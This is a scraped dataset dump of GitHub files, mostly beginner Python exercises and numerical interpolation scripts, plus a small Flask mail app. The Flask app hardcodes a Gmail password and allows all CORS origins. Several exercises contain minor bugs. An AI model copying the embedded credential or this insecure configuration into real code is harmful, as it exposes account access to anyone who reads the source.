\"https://api.snapcraft.io/v2/snaps/info/{snap_name}?fields=title,media\".format(snap_name=snap_name)\n\n headers={\"Snap-Device-Series\": \"16\"}\n \n response = requests.get(url, headers=headers)\n\n response_json = response.json()\n\n icon = get_icon(response_json)\n banner = get_banner(response_json)\n\n return {\n \"name\": response_json[\"name\"],\n \"icon\": icon[0] if icon else \"\",\n \"banner\": banner[0] if banner else \"\"\n }\n\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\nwith open(\"/\".join([current_dir, \"snaps.txt\"])) as f:\n lines = f.read().strip().splitlines()\n\nsnaps = []\n\nprint(str(len(lines)) + \" snaps to find\")\n\nwith open(\"/\".join([current_dir, \"_snap.html\"])) as f:\n template = f.read()\n\nfor snap in lines:\n single_snap = get_snap(snap)\n snaps.append(template.format(snap_name=single_snap[\"name\"], snap_icon=single_snap[\"icon\"], snap_banner=single_snap[\"banner\"]))\n\nwith open(\"/\".join([current_dir, \"_template.html\"])) as f:\n template = f.read()\n\nhtml = template.format(snaps=\"\".join(snaps))\n\nwith open(\"/\".join([current_dir, \"index.html\"]), \"w\") as f:\n f.write(html)\n\nprint(\"Done\")\nprint(\"/\".join([\"Open file://\", current_dir, \"index.html\"]))\n" } ]
2
phfollador/Learning-Python
https://github.com/phfollador/Learning-Python
47f9b47f481502eb02702f996d54bee30fb71fc1
d0ae555e15c076971f4cd8c116ead6ddc578ed87
b07a8a5dc6c491bbfe38b0e007153b3dc1f31cec
refs/heads/main
2023-05-04T14:29:02.305730
2021-05-30T01:27:07
2021-05-30T01:27:07
337,886,542
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6207482814788818, "alphanum_fraction": 0.6207482814788818, "avg_line_length": 19.071428298950195, "blob_id": "1f0d7a9be5cb5d64b4f0085fef990ac09297eee4", "content_id": "dc55e0c54eba0abb071dbdb2aa4b07c3b9f5bca9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 588, "license_type": "no_license", "max_line_length": 44, "num_lines": 28, "path": "/exercise1.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# READ A NAME, PHONE AND ADDRESS. PRINT THEM\r\n\r\n# GETTING A NAME\r\ndef getting_name():\r\n name = str(input(\"Name: \"))\r\n return name\r\n\r\n# GETTING A PHONE\r\ndef getting_phone():\r\n phone = int(input(\"Pone: \"))\r\n return phone\r\n\r\n# GETTING ADDRESS\r\ndef getting_address():\r\n address = str(input(\"Address: \"))\r\n return address \r\n\r\n# PRINTING\r\ndef print_data(name, phone, address):\r\n print(name, phone, address)\r\n\r\n# MAIN FUNCTION\r\ndef main():\r\n name = getting_name()\r\n phone = getting_phone()\r\n address = getting_address()\r\n print_data(name, phone, address)\r\nmain()" }, { "alpha_fraction": 0.575875461101532, "alphanum_fraction": 0.5797665119171143, "avg_line_length": 16.5, "blob_id": "14ab21e4f70a6e6e2e3f3461330b98c66bc21d73", "content_id": "eddb94c42c6544f436488abb5306ee9e17dc0b89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 257, "license_type": "no_license", "max_line_length": 29, "num_lines": 14, "path": "/exercise8.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GETTING A NAME\r\ndef getting_name():\r\n name = input(\"Name: \")\r\n return name\r\n\r\n# PRINTING IT REVERSE\r\ndef print_reverse(name):\r\n return name[::-1]\r\n \r\ndef main():\r\n name = getting_name()\r\n rev = print_reverse(name)\r\n print(rev)\r\nmain()" }, { "alpha_fraction": 0.5971074104309082, "alphanum_fraction": 0.6012396812438965, "avg_line_length": 18.25, "blob_id": "22f9153303c77781b626aa6456e877dcd56ba4c6", "content_id": "f78390c5788e5fb4c37c9af0540e09a14568fb8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 484, "license_type": "no_license", "max_line_length": 39, "num_lines": 24, "path": "/exercise9.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GETTING SALARY\r\ndef getting_salary():\r\n salary = float(input(\"Salary: \"))\r\n\r\n return salary\r\n\r\n# GETTING RENDER\r\ndef getting_render():\r\n render = float(input(\"Render: \"))\r\n\r\n return render\r\n\r\n# LOAN CALC\r\ndef loan_calc(salary, render):\r\n if render > salary*0.2:\r\n print(\"LOAN CANNOT BE GRANTED\")\r\n else:\r\n print(\"LOAN CAN BE GRANTED\")\r\n\r\ndef main():\r\n render = getting_render()\r\n salary = getting_salary()\r\n loan_calc(salary, render)\r\nmain()" }, { "alpha_fraction": 0.53125, "alphanum_fraction": 0.5364583134651184, "avg_line_length": 21.33333396911621, "blob_id": "99ffc7d5d13ec5cc7b0420abddd94564665f0293", "content_id": "58323f5f72671b9acff6b891b19a814c1ba6a49c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 768, "license_type": "no_license", "max_line_length": 109, "num_lines": 33, "path": "/exercise5.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GET NAME, SEX AND AGE. IF SEX IS FEMALE AND AGE LESS THAN 25, PRINT NAME AND \"ACCEPT\", IF NOT, \"NOT ACCEPT\"\r\n\r\n# GETTING A NAME\r\ndef getting_name():\r\n name = str(input(\"Name: \"))\r\n return name\r\n\r\n# GETTING AGE\r\ndef getting_age():\r\n age = int(input(\"Age: \"))\r\n return age\r\n\r\n# GETTING SEX\r\ndef getting_sex():\r\n sex = str(input(\"Sex: \"))\r\n return sex \r\n\r\n# CHECKING DATES\r\ndef check(name, age, sex):\r\n if sex == 'f' or sex == 'F' or sex == 'FEMALE' or sex == 'Female' or sex == 'female':\r\n if age < 25:\r\n print(\"ACCPET\")\r\n else:\r\n print(end=\"\")\r\n else:\r\n print(\"NOT ACCPET\")\r\n\r\ndef main():\r\n name = getting_name()\r\n age = getting_age()\r\n sex = getting_sex()\r\n check(name, age, sex)\r\nmain()" }, { "alpha_fraction": 0.31619998812675476, "alphanum_fraction": 0.45159998536109924, "avg_line_length": 27.251462936401367, "blob_id": "ce349486f4a474370204e8bac778c127f93cc7e9", "content_id": "055f093031f471cc2e04fbb8e477b3ad6e4143fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5001, "license_type": "no_license", "max_line_length": 77, "num_lines": 171, "path": "/2.a - DiferencasDivididas.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "#%%\r\nimport numpy as np\r\nfrom numpy import polymul\r\n# PRIMEIRA TABELA\r\nx = np.array([0, 3, 4, 5, 9], dtype=\"double\") \r\ny = np.array([22, 22, 42, 22, 22], dtype=\"double\") \r\n#inicializando a tabela \r\nT = np.zeros((5,5)); \r\n#primeira coluna \r\nT[:,0]=y; \r\n#segunda coluna \r\nT[1,1]=(T[1,0]-T[0,0])/(x[1]-x[0]); \r\nT[2,1]=(T[2,0]-T[1,0])/(x[2]-x[1]); \r\nT[3,1]=(T[3,0]-T[2,0])/(x[3]-x[2]);\r\nT[4,1]=(T[4,0]-T[3,0])/(x[4]-x[3]); \r\n#terceira coluna \r\nT[2,2]=(T[2,1]-T[1,1])/(x[2]-x[0]); \r\nT[3,2]=(T[3,1]-T[2,1])/(x[3]-x[1]); \r\nT[4,2]=(T[4,1]-T[3,1])/(x[4]-x[2]);\r\n#quarta coluna \r\nT[3,3]=(T[3,2]-T[2,2])/(x[3]-x[0]);\r\nT[4,3]=(T[4,2]-T[3,2])/(x[4]-x[1]); \r\n#quinta coluna\r\nT[4,4]=(T[4,3]-T[3,3])/(x[4]-x[0]);\r\nprint(T) \r\n#polinomio interpolador \r\np = np.array([T[0,0]], dtype=\"double\") \r\npaux = np.array([-x[0],1], dtype=\"double\") \r\np.resize(2) \r\np += T[1,1]*paux \r\npaux = np.polymul(paux,[-x[1],1]) \r\np.resize(3) \r\np += T[2,2]*paux \r\npaux = np.polymul(paux,[-x[2],1]) \r\np.resize(4) \r\np += T[3,3]*paux\r\npaux = poly.polymul(paux,[-x[3],1]) \r\np.resize(5) \r\np += T[4,4]*paux\r\n\r\n#%%\r\nimport numpy as np\r\nfrom numpy import poly\r\n# SEGUNDA TABELA\r\nx = np.array([1, 2, 6, 7, 8], dtype=\"double\") \r\ny = np.array([-42, -20, -32, -90, -98], dtype=\"double\") \r\n#inicializando a tabela \r\nT = np.zeros((5,5)); \r\n#primeira coluna \r\nT[:,0]=y; \r\n#segunda coluna \r\nT[1,1]=(T[1,0]-T[0,0])/(x[1]-x[0]); \r\nT[2,1]=(T[2,0]-T[1,0])/(x[2]-x[1]); \r\nT[3,1]=(T[3,0]-T[2,0])/(x[3]-x[2]);\r\nT[4,1]=(T[4,0]-T[3,0])/(x[4]-x[3]); \r\n#terceira coluna \r\nT[2,2]=(T[2,1]-T[1,1])/(x[2]-x[0]); \r\nT[3,2]=(T[3,1]-T[2,1])/(x[3]-x[1]); \r\nT[4,2]=(T[4,1]-T[3,1])/(x[4]-x[2]);\r\n#quarta coluna \r\nT[3,3]=(T[3,2]-T[2,2])/(x[3]-x[0]);\r\nT[4,3]=(T[4,2]-T[3,2])/(x[4]-x[1]); \r\n#quinta coluna\r\nT[4,4]=(T[4,3]-T[3,3])/(x[4]-x[0]);\r\nprint(T)\r\n#polinomio interpolador \r\np = np.array([T[0,0]], dtype=\"double\") \r\npaux = np.array([-x[0],1], dtype=\"double\") \r\np.resize(2) \r\np += T[1,1]*paux \r\npaux = np.polymul(paux,[-x[1],1]) \r\np.resize(3) \r\np += T[2,2]*paux \r\npaux = np.polymul(paux,[-x[2],1]) \r\np.resize(4) \r\np += T[3,3]*paux\r\npaux = np.polymul(paux,[-x[3],1]) \r\np.resize(5) \r\np += T[4,4]*paux\r\n#%%\r\nimport numpy as np\r\nfrom numpy import poly\r\n# TERCEIRA TABELA\r\nx = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9], dtype=\"double\") \r\ny = np.array([22, -42, -20, 22, 42, 22, -32, -90, -98, 22], dtype=\"double\") \r\n#inicializando a tabela \r\nT = np.zeros((10,10)); \r\n#primeira coluna \r\nT[:,0]=y; \r\n#segunda coluna \r\nT[1,1]=(T[1,0]-T[0,0])/(x[1]-x[0]); \r\nT[2,1]=(T[2,0]-T[1,0])/(x[2]-x[1]); \r\nT[3,1]=(T[3,0]-T[2,0])/(x[3]-x[2]);\r\nT[4,1]=(T[4,0]-T[3,0])/(x[4]-x[3]); \r\nT[5,1]=(T[5,0]-T[4,0])/(x[5]-x[4]); \r\nT[6,1]=(T[6,0]-T[5,0])/(x[6]-x[5]); \r\nT[7,1]=(T[7,0]-T[6,0])/(x[7]-x[6]); \r\nT[8,1]=(T[8,0]-T[7,0])/(x[8]-x[7]); \r\nT[9,1]=(T[9,0]-T[8,0])/(x[9]-x[8]); \r\n#terceira coluna \r\nT[2,2]=(T[2,1]-T[1,1])/(x[2]-x[0]); \r\nT[3,2]=(T[3,1]-T[2,1])/(x[3]-x[1]);\r\nT[4,2]=(T[4,1]-T[3,1])/(x[4]-x[2]); \r\nT[5,2]=(T[5,1]-T[4,1])/(x[5]-x[3]);\r\nT[6,2]=(T[6,1]-T[5,1])/(x[6]-x[4]); \r\nT[7,2]=(T[7,1]-T[6,1])/(x[7]-x[5]);\r\nT[8,2]=(T[8,1]-T[7,1])/(x[8]-x[6]); \r\nT[9,2]=(T[9,1]-T[8,1])/(x[9]-x[7]); \r\n#quarta coluna \r\nT[3,3]=(T[3,2]-T[2,2])/(x[3]-x[0]);\r\nT[4,3]=(T[4,2]-T[3,2])/(x[4]-x[1]); \r\nT[5,3]=(T[5,2]-T[4,2])/(x[5]-x[2]);\r\nT[6,3]=(T[6,2]-T[5,2])/(x[6]-x[3]); \r\nT[7,3]=(T[7,2]-T[6,2])/(x[7]-x[4]);\r\nT[8,3]=(T[8,2]-T[7,2])/(x[8]-x[5]); \r\nT[9,3]=(T[9,2]-T[8,2])/(x[9]-x[6]);\r\n#quinta coluna\r\nT[4,4]=(T[4,3]-T[3,3])/(x[4]-x[0]); \r\nT[5,4]=(T[5,3]-T[4,3])/(x[5]-x[1]);\r\nT[6,4]=(T[6,3]-T[5,3])/(x[6]-x[2]); \r\nT[7,4]=(T[7,3]-T[6,3])/(x[7]-x[3]);\r\nT[8,4]=(T[8,3]-T[7,3])/(x[8]-x[4]); \r\nT[9,4]=(T[9,3]-T[8,3])/(x[9]-x[5]); \r\n#sexta coluna\r\nT[5,5]=(T[5,4]-T[4,4])/(x[5]-x[0]);\r\nT[6,5]=(T[6,4]-T[5,4])/(x[6]-x[1]); \r\nT[7,5]=(T[7,4]-T[6,4])/(x[7]-x[2]);\r\nT[8,5]=(T[8,4]-T[7,4])/(x[8]-x[3]); \r\nT[9,5]=(T[9,4]-T[8,4])/(x[9]-x[4]); \r\n#setima coluna\r\nT[6,6]=(T[6,5]-T[5,5])/(x[6]-x[0]); \r\nT[7,6]=(T[7,5]-T[6,5])/(x[7]-x[1]);\r\nT[8,6]=(T[8,5]-T[7,5])/(x[8]-x[2]); \r\nT[9,6]=(T[9,5]-T[8,5])/(x[9]-x[3]); \r\n#oitava coluna\r\nT[7,7]=(T[7,6]-T[6,6])/(x[7]-x[0]);\r\nT[8,7]=(T[8,6]-T[7,6])/(x[8]-x[1]); \r\nT[9,7]=(T[9,6]-T[8,6])/(x[9]-x[2]); \r\n#nona coluna\r\nT[8,8]=(T[8,7]-T[7,7])/(x[8]-x[0]); \r\nT[9,8]=(T[9,7]-T[8,7])/(x[9]-x[1]); \r\n#décima coluna \r\nT[9,9]=(T[9,8]-T[8,8])/(x[9]-x[0]); \r\nprint(T) \r\n#polinomio interpolador \r\np = np.array([T[0,0]], dtype=\"double\") \r\npaux = np.array([-x[0],1], dtype=\"double\") \r\np.resize(2) \r\np += T[1,1]*paux \r\npaux = np.polymul(paux,[-x[1],1]) \r\np.resize(3) \r\np += T[2,2]*paux \r\npaux = np.polymul(paux,[-x[2],1]) \r\np.resize(4) \r\np += T[3,3]*paux\r\npaux = np.polymul(paux,[-x[3],1]) \r\np.resize(5) \r\np += T[4,4]*paux\r\npaux = np.polymul(paux,[-x[4],1]) \r\np.resize(6) \r\np += T[5,5]*paux\r\npaux = np.polymul(paux,[-x[5],1]) \r\np.resize(7) \r\np += T[6,6]*paux\r\npaux = np.polymul(paux,[-x[6],1]) \r\np.resize(8) \r\np += T[7,7]*paux\r\npaux = np.polymul(paux,[-x[7],1]) \r\np.resize(9) \r\np += T[8,8]*paux\r\n# %%" }, { "alpha_fraction": 0.573913037776947, "alphanum_fraction": 0.5797101259231567, "avg_line_length": 17.27777862548828, "blob_id": "435a14ce560daf50e61a7edccec786e633395eed", "content_id": "251565bcf78ee6a30ba0cc5f5767bf98c2cfae38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 345, "license_type": "no_license", "max_line_length": 35, "num_lines": 18, "path": "/exercise13.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "import numpy as np\r\n# GETTING NUMBERS\r\ndef getting_numbers():\r\n number = int(input(\"Number: \"))\r\n return number\r\n\r\ndef print_all_numbers(number):\r\n l = []\r\n for i in range(1, number+1):\r\n l.append([i])\r\n\r\n print(l)\r\n print(np.prod(l))\r\n\r\ndef main():\r\n number = getting_numbers()\r\n print_all_numbers(number)\r\nmain()" }, { "alpha_fraction": 0.592334508895874, "alphanum_fraction": 0.5981416702270508, "avg_line_length": 23.382352828979492, "blob_id": "c1d4f6f0e52f55e758e09c62b220e18f87dc153d", "content_id": "dc66f3f4c632da7ba99ea41ef7c9b098063a203b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 861, "license_type": "no_license", "max_line_length": 71, "num_lines": 34, "path": "/exercise10.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "'''\r\nCREATE AN ALGORITHM TATH READS THE LOWER AND UPPER LIMITS OF A RANGE \r\nAND PRINT ALL EVEN NUMBERS IN THE OPEN RANGE AND ITS SUMMATION. SUPPOSE\r\nTHE DATA ENTERED IS FOR A RANGE GROWING\r\n'''\r\n\r\n# GETTING LOWER LIMIT\r\ndef getting_lower():\r\n lower_limit = int(input(\"Lower: \"))\r\n return lower_limit\r\n\r\n# GETTING UPPER LIMIT\r\ndef getting_upper():\r\n upper_limit = int(input(\"Upper: \"))\r\n return upper_limit\r\n\r\n# RANGE SUMMATION\r\ndef range_sum(lower_limit, upper_limit):\r\n limit_sum = 0\r\n while lower_limit <= upper_limit:\r\n if lower_limit%2 == 0:\r\n print(lower_limit, end=\", \")\r\n limit_sum += lower_limit\r\n lower_limit += 1\r\n else:\r\n lower_limit += 1\r\n\r\n print(\"SOMA: \", limit_sum)\r\n\r\ndef main():\r\n low = getting_lower()\r\n upe = getting_upper()\r\n range_sum(low, upe)\r\nmain()" }, { "alpha_fraction": 0.4868420958518982, "alphanum_fraction": 0.4934210479259491, "avg_line_length": 16, "blob_id": "cb7ef66a52d96fde2600b49834dc286596bef0c0", "content_id": "f58c2b23a37b54d982e51b556e512b6346892565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 304, "license_type": "no_license", "max_line_length": 31, "num_lines": 17, "path": "/exercise6.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GETTING A NAME\r\ndef getting_name():\r\n name = str(input(\"Name: \"))\r\n return name\r\n\r\ndef name_lenght(name):\r\n tam = 0\r\n for i in range(len(name)):\r\n if name[i] != (\"\"):\r\n tam += 1\r\n\r\n print(tam)\r\n \r\ndef main():\r\n name = getting_name()\r\n name_lenght(name)\r\nmain()" }, { "alpha_fraction": 0.820652186870575, "alphanum_fraction": 0.820652186870575, "avg_line_length": 35.79999923706055, "blob_id": "772292eb366934892396463f1ff4b9c21e2db20a", "content_id": "b894db3471cddc88903df8ec22ab4b0876591dd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 184, "license_type": "no_license", "max_line_length": 72, "num_lines": 5, "path": "/README.md", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# Learning-Python\nSome very simple algorithms that I developed when I was learning python.\n\n## Numerical Algorithms\nSome exercises developed in the discipline of numerical algorithms.\n" }, { "alpha_fraction": 0.4204413592815399, "alphanum_fraction": 0.49709638953208923, "avg_line_length": 21.324323654174805, "blob_id": "eb47395c828a5817b876d8a0cc98c43a9ba40767", "content_id": "7fa5de0dc84c1feb3dbc9085b938196b082cbb89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 861, "license_type": "no_license", "max_line_length": 77, "num_lines": 37, "path": "/1.b - InterpolacaoPolinomial.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nx = [1.03, 1.43, 1.76, 2.20, 2.78, 3.15, 3.55, 4.12]\r\ny = [2.37, 1.53, 1.02, 0.60, 0.26, 0.17, 0.13, 0.08]\r\n\r\ndef polinomial(x, y, xi):\r\n n = len(x)\r\n fdd = [[None for x in range(n)] for x in range(n)]\r\n\r\n for i in range(n):\r\n fdd[i][0] = y[i]\r\n\r\n for j in range(1, n):\r\n for i in range(n-j):\r\n fdd[i][j] = (fdd[i + 1][j - 1] - fdd[i][j - 1])/(x[i + j] - x[i])\r\n\r\n xterm = 1\r\n yint = fdd[0][0]\r\n\r\n for o in range(1, n):\r\n xterm = xterm * (xi - x[o - 1])\r\n yint = yint + fdd[0][o] * xterm\r\n \r\n return yint\r\n\r\nxp = np.interp(2, x, y)\r\ny_interpolado = polinomial(x, y, xp)\r\nt = np.arange(0.7, 4.2, 0.1) # CONSIDERANDO O SEGUINTE INTERVALO DE TEMPO\r\n\r\nyt = []\r\n\r\nfor i in t:\r\n yt.append(polinomial(x, y, i))\r\n\r\nprint(xp)" }, { "alpha_fraction": 0.4683760702610016, "alphanum_fraction": 0.482051283121109, "avg_line_length": 19.740739822387695, "blob_id": "045813dc00253a771cdf60ba3501e1cb94024f97", "content_id": "2fd2636217af07185c94e71f6434cd28262b7618", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 585, "license_type": "no_license", "max_line_length": 79, "num_lines": 27, "path": "/exercise12.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "'''\r\nWRITE A PROGRAM THAT RECEIVES SEVERAL INTEGERS INT THE KEYBOARD AND AT THE END,\r\nPRINT THE AVERAGE OF THE MULTIPLE NUMBERS OF 3. TO EXIT, PRESS 0.\r\n'''\r\n\r\n# GETTING INTEGERS\r\ndef getting_integers():\r\n opt = 1\r\n l = []\r\n summ = 0\r\n while opt != 0:\r\n number = int(input(\"Number: \"))\r\n \r\n if number == 0:\r\n opt = 0\r\n for i in range(len(l)):\r\n summ = summ + l[i]\r\n\r\n else:\r\n l.append(number)\r\n \r\n print((summ)/len(l) * 3) \r\n \r\ndef main():\r\n getting_integers()\r\n\r\nmain()" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 18.53333282470703, "blob_id": "3dcaac1222b6d2425876fa192694d6d6089791d9", "content_id": "2be23154dfdf3a3d1c908ffad91f2f65a1d626ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 42, "num_lines": 15, "path": "/exercise11.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "import numpy as np\r\n# SHOW ALL NUMBERS DIVISIBLE BY 4 BLOW 200\r\n\r\n# CREATE A LIST\r\nl = np.linspace(1, 200, num=200)\r\n\r\n# NUMBERS DIVISIBLE BY 4\r\ndef divisible():\r\n for i in range(len(l)):\r\n if l[i] <= 200 and l[i]%4 == 0:\r\n print(l[i], end=\", \")\r\n\r\ndef main():\r\n divisible()\r\nmain()" }, { "alpha_fraction": 0.45945945382118225, "alphanum_fraction": 0.5972973108291626, "avg_line_length": 29, "blob_id": "260148610f5c1cf4e57ae707c54dd35f0887addf", "content_id": "76f6125d5ef545bef379c2046c02187ea95b8535", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "no_license", "max_line_length": 106, "num_lines": 12, "path": "/1.a - InterpolacaoLinearSegmantada.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nx = [1.03, 1.43, 1.76, 2.20, 2.78, 3.15, 3.55, 4.12]\r\ny = [2.37, 1.53, 1.02, 0.60, 0.26, 0.17, 0.13, 0.08]\r\n\r\nplt.scatter(x, y); plt.plot(x, y); plt.xlabel('X'); plt.ylabel('Y'); plt.title('Y(X)'); plt.tight_layout()\r\nplt.show()\r\n\r\ny_interpolado = np.interp(2.0, x, y)\r\nnovoY = round(y_interpolado, 2)\r\nprint(novoY)" }, { "alpha_fraction": 0.3741496503353119, "alphanum_fraction": 0.3900226652622223, "avg_line_length": 17.2608699798584, "blob_id": "9a72445a0396d64df4dde2ba1dce9eb29f1cb7f3", "content_id": "fe274006de329eec2e8e7ecfca612abc5df49ad4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 441, "license_type": "no_license", "max_line_length": 55, "num_lines": 23, "path": "/exercicio16.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "def numero():\r\n n = int(input(\"Entre com um valor inteiro de N: \"))\r\n return n\r\n\r\ndef matriz(n):\r\n val = 0\r\n tot = n+1\r\n\r\n for col in range(1, tot):\r\n for lin in range(1, tot):\r\n if(lin < tot):\r\n val += n\r\n print(val, end=\" \")\r\n if(lin == tot-1):\r\n print(\"\\n\")\r\n\r\n n -= 1\r\n val = 0\r\n\r\ndef main():\r\n n = numero()\r\n matriz(n)\r\nmain()" }, { "alpha_fraction": 0.546201229095459, "alphanum_fraction": 0.5523613691329956, "avg_line_length": 18.375, "blob_id": "c15d010a4a71a3f6f03de430add27f6148a76699", "content_id": "9e76843943c2a49e6649c1719b83bca2591242bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 487, "license_type": "no_license", "max_line_length": 37, "num_lines": 24, "path": "/exercise7.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GETTING A NAME\r\ndef getting_name():\r\n name = str(input(\"Name: \"))\r\n return name\r\n\r\n# GETTING NAME LENGHT\r\ndef name_lenght(name):\r\n tam = 0\r\n for i in range(len(name)):\r\n if name[i] != (\"\"):\r\n tam += 1\r\n\r\n return tam\r\n\r\n# PRINTING NAME TIMES\r\ndef printing_name_times(tam, name):\r\n for i in range(0, tam):\r\n print(name)\r\n \r\ndef main():\r\n name = getting_name()\r\n lenght = name_lenght(name)\r\n printing_name_times(lenght, name)\r\nmain()" }, { "alpha_fraction": 0.5846500992774963, "alphanum_fraction": 0.6230248212814331, "avg_line_length": 21.421052932739258, "blob_id": "22b97d950e38ae2dad8807203911bc01de7e1fe9", "content_id": "6c9bad5318621b759ea70b739b8ede4fca382240", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 443, "license_type": "no_license", "max_line_length": 49, "num_lines": 19, "path": "/exercise14.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "# GETTIG SECONDS\r\ndef getting_seconds():\r\n seconds = int(input(\"SECONDS> \"))\r\n return seconds\r\n\r\n# CALCULATE HH:MM:SS\r\ndef cal_time(seconds):\r\n seconds_rest = seconds%86400\r\n hours = seconds_rest//3600\r\n seconds_rest = seconds_rest%3600\r\n minutes = seconds_rest//60\r\n seconds_rest = seconds_rest%60\r\n\r\n print(hours, \":\", minutes, \":\", seconds_rest)\r\n\r\ndef main():\r\n sec = getting_seconds()\r\n cal_time(sec)\r\nmain()" }, { "alpha_fraction": 0.3695122003555298, "alphanum_fraction": 0.44634145498275757, "avg_line_length": 22.909090042114258, "blob_id": "96081ae5bc756b718d8bb9d11b0f851b597f527f", "content_id": "f0e58f6fb2d0df0a9e1e4ae53a41e5c1694c51b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 820, "license_type": "no_license", "max_line_length": 68, "num_lines": 33, "path": "/1.d - MinimosQuadrados.py", "repo_name": "phfollador/Learning-Python", "src_encoding": "UTF-8", "text": "import numpy as np\r\nfrom numpy import linalg\r\n\r\nx = [1.03, 1.43, 1.76, 2.20, 2.78, 3.15, 3.55, 4.12]\r\ny = [2.37, 1.53, 1.02, 0.60, 0.26, 0.17, 0.13, 0.08]\r\n\r\ndef minimosQuadrados():\r\n pontos = 8\r\n grau = 2\r\n\r\n # vetor h\r\n H = np.zeros((grau+1, pontos))\r\n for i in range(len(H)):\r\n for j in range(len(H[0])):\r\n H[i][j] = pow(x[j], i)\r\n \r\n print(H)\r\n\r\n A = np.zeros((grau+1, grau+1))\r\n b = np.zeros(grau+1)\r\n for i in range(len(A)):\r\n for j in range(len(A)):\r\n A[i][j] = H[i].dot(H[j])\r\n b[i] = H[i].dot(y)\r\n print(\"A = \", A)\r\n print(\"b = \", b)\r\n\r\n X = np.linalg.solve(A, b)\r\n for i in range(len(X)):\r\n print(\"a\" + str(i+1) + \"= \", X[i])\r\n\r\n print(\"y(x) para x = 2: \", X[0] + (X[1] * 2) + X[2] * pow(2, 2))\r\nminimosQuadrados()" } ]
17
khanhvg/GreenEdu_Group1_TCS2007
https://github.com/khanhvg/GreenEdu_Group1_TCS2007
55e49058a26a1139cc5416701ca86106f37cc286
cc4ff56af15a4be94d26435509cde2fce1eefc31
80d4fb3ade38394c3df2398a7139945fa5315492
refs/heads/main
2023-04-06T10:45:16.638232
2021-04-19T15:41:40
2021-04-19T15:41:40
359,357,202
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5548705458641052, "alphanum_fraction": 0.5585696697235107, "avg_line_length": 22.636363983154297, "blob_id": "d5e1cd0bf6d318acd308f5e22a987fd43d8c25b4", "content_id": "b8bc6c971b0fa2f8f3736a94d34832c4ef55152a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 811, "license_type": "no_license", "max_line_length": 42, "num_lines": 33, "path": "/email-python/app.py", "repo_name": "khanhvg/GreenEdu_Group1_TCS2007", "src_encoding": "UTF-8", "text": "from flask import Flask\r\nfrom flask_mail import Mail, Message\r\nfrom flask_cors import CORS\r\n \r\napp = Flask(__name__)\r\nCORS(app)\r\nmail = Mail(app) \r\n \r\n\r\napp.config['MAIL_SERVER']='smtp.gmail.com'\r\napp.config['MAIL_PORT'] = 465\r\napp.config['MAIL_USERNAME'] = '[email protected]'\r\napp.config['MAIL_PASSWORD'] = 'giakhanh'\r\napp.config['MAIL_USE_TLS'] = False\r\napp.config['MAIL_USE_SSL'] = True\r\napp.config['CORS_ORIGINS'] = '*'\r\nmail = Mail(app)\r\n \r\n\r\[email protected](\"/\", methods=['POST'])\r\ndef index():\r\n msg = Message(\r\n 'New report is submmited',\r\n sender ='[email protected]',\r\n recipients = ['[email protected]']\r\n )\r\n msg.body = 'Reprot of .. is submmited'\r\n mail.connect()\r\n mail.send(msg)\r\n return 'Sent'\r\n \r\nif __name__ == '__main__':\r\n app.run(debug = True)" }, { "alpha_fraction": 0.6344667673110962, "alphanum_fraction": 0.6394899487495422, "avg_line_length": 41.426231384277344, "blob_id": "4b5fa0413d390c74cbb894009ed888c8e2f3870e", "content_id": "5644f13286ba31c53b317346dae624fa92263345", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2588, "license_type": "no_license", "max_line_length": 120, "num_lines": 61, "path": 